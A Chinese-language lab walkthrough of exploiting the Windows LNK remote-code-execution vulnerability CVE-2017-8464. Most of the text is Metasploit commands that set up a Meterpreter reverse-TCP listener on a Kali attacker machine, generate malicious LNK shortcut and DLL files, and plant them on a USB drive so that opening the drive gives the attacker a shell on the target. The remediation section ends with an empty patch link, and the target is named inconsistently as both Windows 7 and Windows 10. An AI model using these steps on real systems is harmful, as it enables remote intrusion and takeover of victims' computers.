RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小。
攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中。当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码。
漏洞环境搭建:
kalix86 192.168.1.109 攻击机
windows7x64 192.168.1.101 目标靶机
漏洞利用:
1.kali主机下载cve_2017_8464_lnk_rce.rb:
cd /opt
2.将cve_2017_8464_lnk_rce.rb拷贝到
/usr/share/metasploit-framework/modules/exploit/windows/smb/目录下:
cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
3.生成监听shell:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.109
msf exploit(handler) > exploit -j
4生成大量的.LNK文件(对应盘符从D盘到Z盘)和要加载的.dll文件(后门文件, copy了一个lnk文件(根据插入靶机U盘后识别的盘符,例如我插入U盘后显示的E盘,所以就选择了E结尾的lnk文件)和dll文件到U盘)
msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109
msf exploit(cve_2017_8464_lnk_rce) > exploit
5.将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中,然后拷贝到目标靶机windows10X64上
root@backlion:~# cd /opt
root@backlion:/opt# mkdir test
root@backlion:/opt# cp /root/.msf4/local/* test/
root@backlion:/opt# cd test/
root@backlion:/opt/test# ls
拷贝的本机win7x64上:
6.然后点击快捷键,就会触发注册dll文件,如果不行直接注册dll文件(一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘,只要对方开了U盘自动启动播放功能,就会自动触发注册dll文件)
7.在kali下可以看到成功获得sesions会话为1
sessions -i 1
8.然后进入到会话,就会成功进入到metermter的shell界面:
漏洞影响:
Windows 10
Windows 7
Windows 8.1
Windows RT 8.1
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
漏洞修复:
下载补丁,其地址为: